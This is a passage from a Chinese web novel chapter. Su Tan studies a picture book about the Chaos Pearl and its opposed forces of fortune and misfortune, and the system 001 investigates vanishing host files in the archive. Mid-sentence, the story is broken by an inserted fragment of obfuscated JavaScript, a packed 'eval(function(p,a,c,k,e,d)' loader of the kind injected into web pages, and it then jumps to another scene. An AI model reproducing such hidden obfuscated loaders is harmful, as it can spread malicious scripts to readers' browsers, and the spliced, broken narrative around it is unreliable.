001离开后没有直接走,而是站在门口看了好一会,直到苏昙将怀里的画册又揽了揽,才恍然觉悟地回过神,将自己工位上的薄毯拿过来,轻轻给她盖上了。 做完,又怔神看了几分钟,才转身离开。 98. 虚空之境(二) 或许是知道喜欢的人就在身旁,苏昙很久没有这么有安全感过了,哪怕主神现在出现,她也不会那么害怕了。 苏昙悄悄推开隔间的门,看到001还在埋头工作,就没出声打扰他。她重新靠到躺椅上,拿起了一旁的画册翻看。 画册很薄,大部分都是粗糙的画,只有必要的地方才注有文字说明。 她一眼便认出来首页上的珠子是混沌珠。画画的人笔法青涩,整颗珠子画得一点也不圆,除了那上面五颜六色的色彩和歪歪扭扭、相互交错盘旋的蛇纹雕痕,其余的特征完全看不出来。 苏昙眼神往下移,注意到混沌珠的底部还有一行注解。这些字的笔画结构清晰,遒劲有力,甚是赏心悦目,倒是和上面的画风格格不入。 [混沌珠:——宇宙本源所化的无上宝物,内含时间和空间法则,具有强大的力量,不可小视。] 苏昙了然,这应该就是主神能用它创造虚空之境、咸鱼系统和那么多时间线的原因。 她接着往后看,却是一片空白。纸张底部写着: [来硕:“硕”有成功收获之意,古书里有言,“往蹇来硕,吉”,大致意思是前进有险阻,归来获丰收。来硕生来便存在于混沌珠内部,掌管一切‘福’。]① 苏昙不太理解,翻到了下一页。眼前的纸上画着一团黑色,像是晕开的一滴浓墨,痕迹由中心向周围扩散,颜色越来越淡,分外惹眼。 这次她很快认了出来,她曾在密门后的大殿墙上的混沌珠里看到过这个形状的气体,颜色甚至比纸上的还要黑。 当时主神说混沌珠里有征凶和来硕,那眼前的这团潦草黑色代表的应该就是征凶。 果不其然,苏昙在墨印下端看到了相关的字眼: [征凶:凶往指凶险的人事物,或为有形、或为无形,是灾难和不吉利的象征。征凶是古书中的一个词语,原话为“征凶,无攸利。”如果在特定情况下,进行某种行动,则可能会遭遇灾难或不幸。征凶和来硕本为对立,却同等重要。毕竟‘福’‘祸’总相依。]② 苏昙陷入沉思。画上说的‘福’和‘祸’究竟表示什么?还有,为什么她那时在混沌珠里看到的只有征凶,来硕呢? 她继续往后看。后面一页上的墨迹明显变多,东一块西一滴,画得人有意将墨点的尾部拉长,导致这些墨迹看起来似在与什么交融,也像在和什么斗争。 如果代到前面两张,那那些空白的地方,是不是就代表了来硕?苏昙思索着翻页。 这是最后一张了。最后一页上既不是来硕,也不是征凶,而是画着一个圆。 这一页上的圆比第一张的混沌珠要小得多,大概有一个乒乓球那么大。但这个圆表面也有歪七扭八的蛇纹雕痕,像是画画的人画不出精髓,索性胡乱划了几笔。 然而苏昙看得心中一紧。大小符合,雕痕也对上了,这不就是主神手里的那个珠子?!果然,这个珠子和混沌珠有关,毕竟还能让她去到不同时间线,仿佛可以随意改变时间和空间。 画册再往后翻,就都是空白页,估计是没再画了。 苏昙合上画册,总觉得这本画册想表达的远不止这些。但那个画画的人能力实在有限,她连看带猜,只能读取到这么多。 苏昙拿着画册走出隔间,正好看到001拿着水杯起身。 “睡醒了?”001注意到苏昙,立刻放下手里的事情,走近道,“现在感觉怎么样?” “挺好的。”苏昙还不知道该以什么方式面对他,紧张地抱紧画册,拼命地在脑海里找话题。 还真让她找到了。 “对了,我睡了多长时间啊?”她问。 001很快回答:“没多久,两个小时左右。” “是么,我还以为睡了五六个小时呢,看来休息得还不错,哈哈。” 苏昙盯着别处,尴尬地沉默下来。 001此刻并没有比苏昙自在多少,也没话找话道:“这本画册……你看完了?” “啊?”苏昙这才发现怀里的册子快被她勒得变形了,“噢!看完了,刚才就是想还给你。” 她赶紧把画册递回去。 001以为她误会了,没有着急接,解释道:“你要是还想再看,可以多拿几天,不着急。” “不用,我看完了。毕竟是虚空之境的东西,我拿着不太好。” 苏昙把画册塞进他手里,突然发现画册的封皮上竟然没有画手的署名。 但她转念想到,什么虚空之境、咸鱼系统就已经超乎常理了,一本没有署名的书而已,应该很正常。 苏昙疑惑了两秒,很快把这一发现抛到脑后。 “你……” 苏昙和001同时开口,又默契地一起缄口。 001抬抬手:“你先说吧。” 苏昙还在心里琢磨该怎么发出邀请,扭头看到墙上的时钟。 “你瞧……现在就快到——” 一阵敲门声打断了她的话。苏昙顿时如释重负。 虽然她能感觉到001不生她的气了,但她毕竟刚向001剖析完自己的心意,还没有得到回应,又不知道他心里到底怎么想的,她进攻都找不到明确的方向。 一个烫着大波浪卷的女生笑着从门外探头,眼睛看的却是001。 “131说的果然没错,你还真在工作间啊!我有事找你。” 001将目光从苏昙脸上移开,对突然出现的同事缓声道:“你先等……” “没事,你去忙吧!”苏昙退了几步,示意001工作要紧。不知道是不是她的错觉,她好像在他眼里看到了一丝落寞? “好。进来吧,226。” 001给她拿了一把椅子。 叫226的子系统走进来,才发现房间里还有一个人。她没有坐下,脸上笑容退去,神情凝重道:“档案室的电脑出问题了,挺棘手的。” 001问:“虽然我负责档案室的信息对接,但登记、备案、复核这些不是我的工作。具体怎么回事?” “我最近发现,电脑里有些宿主的档案会莫名其妙地消失。”226眉头紧蹙,发尾的波浪卷都透着沉闷,手指来回拨弄着,“哎,这件事说起来有些复杂,不好跟你形容,你还是跟我走一趟,亲自去看看吧。” 001点点头,转身喊道:“苏昙。” “嗯?”苏昙看向他,不知道他要说什么。 “好好待着,等我回来。” 说完,001急匆匆地跟着226离开了。留下苏昙站在原地,兀自回味这句话的意思。 等他回来?回来做什么?难道他想的和自己一样吗?苏昙嘴角露出一抹笑,悠闲地在工作间逛来逛去,心情变得灿烂。 她一会坐在001的椅子上,一会趴在他的抱枕上,看着时钟的分针转过一圈又一圈。 ——“过来。” 一个古老威严的声音房间里突兀地响起,由于环境太过安静,几乎是在苏昙耳边炸开。 “过来。” “过来。” 这声音像在指引迷路的人,又像呼唤,听得多了心里就发毛。 苏昙也快炸毛了。这声音只会在她梦里出现,为什么现在会有?!每次这个声音出现,都不会有什么好事。 虽说它帮她预言过几次和苏雨昙有关的事,但天底下哪有白送的提醒?她来到里世界这么长时间,逐渐感觉到越陷越深,现在是一点也不想生事。毕竟有些东西,还是知道的越少越好。 “过来。” “找我。” 声音依旧一遍遍在她耳边唤道。 苏昙走到工作间门口,拉住路过的子系统,比划道:“你能听到什么声音吗?类似一直喊你的那种?” 被拦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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001想了一会,把档案拨回第一份,问226道:“你有没有发现,这些信息丢失的宿主都是最近来的。” “注意到了。但这能说明什么问题?”226不解,“因为他们的情况一直在变化,所以我们平时的改动也会很频繁。” 001拨动鼠标,调出了苏昙的档案。 “这不是刚才房间里的那个女孩吗?”226看向屏幕,“原来她还是个大学生,这么年轻啊。” “你对比一下,”001看着苏昙的照片,也浅笑了一下,接着226的话补充,“那些之前的宿主,和一直往后经历里世界的老宿主,她们的档案都是没问题的。这能说明什么?” “……说明什么?”226眼神难以置信,“不会是玄学吧?我听周围的朋友说,人类很信这个的!我还学了很多呢。” 001:“……” 他道:“说明问题是最近才有的。” “但你好像……说了一句废话?” “我的意思是,既然问题不是电脑的,又和近期的宿主有关,那就说明最近虚空之境的哪里出了问题,是我们不知道的。”001解释,“也许引起了磁场的波动,又或者某种吸引力不稳定,才造成了档案的丢失,影响了近期的记录。” 226若有所思:“对啊,还挺有道理的。如果真要是虚空之境出了问题,主神肯定会比我们先察觉到,赶快把问题解决的!” 001点头:“你们可以再观察一段时间,实在不行就向主神反馈,应该没什么大事。” “没问题。”226随手把桌子上一瓶未拆封的矿泉水递给001,“真的谢谢了,还麻烦你专门跑过来一趟。” “应该的,”001婉拒了她的水,起身说道,“如果没什么事,我就先回去了。” 226侧身让路。 001走出档案室,对着玻璃整理了一下衣领,又看了眼手环上的时间,疾步回到了工作间。 这个时间点还不算晚,应该还能一起吃顿午饭。 然而,等他推开门,房间里空荡荡的,不见熟悉的身影。001瞬间紧张起来,两三步走到里面隔间。 苏昙也不在这里面。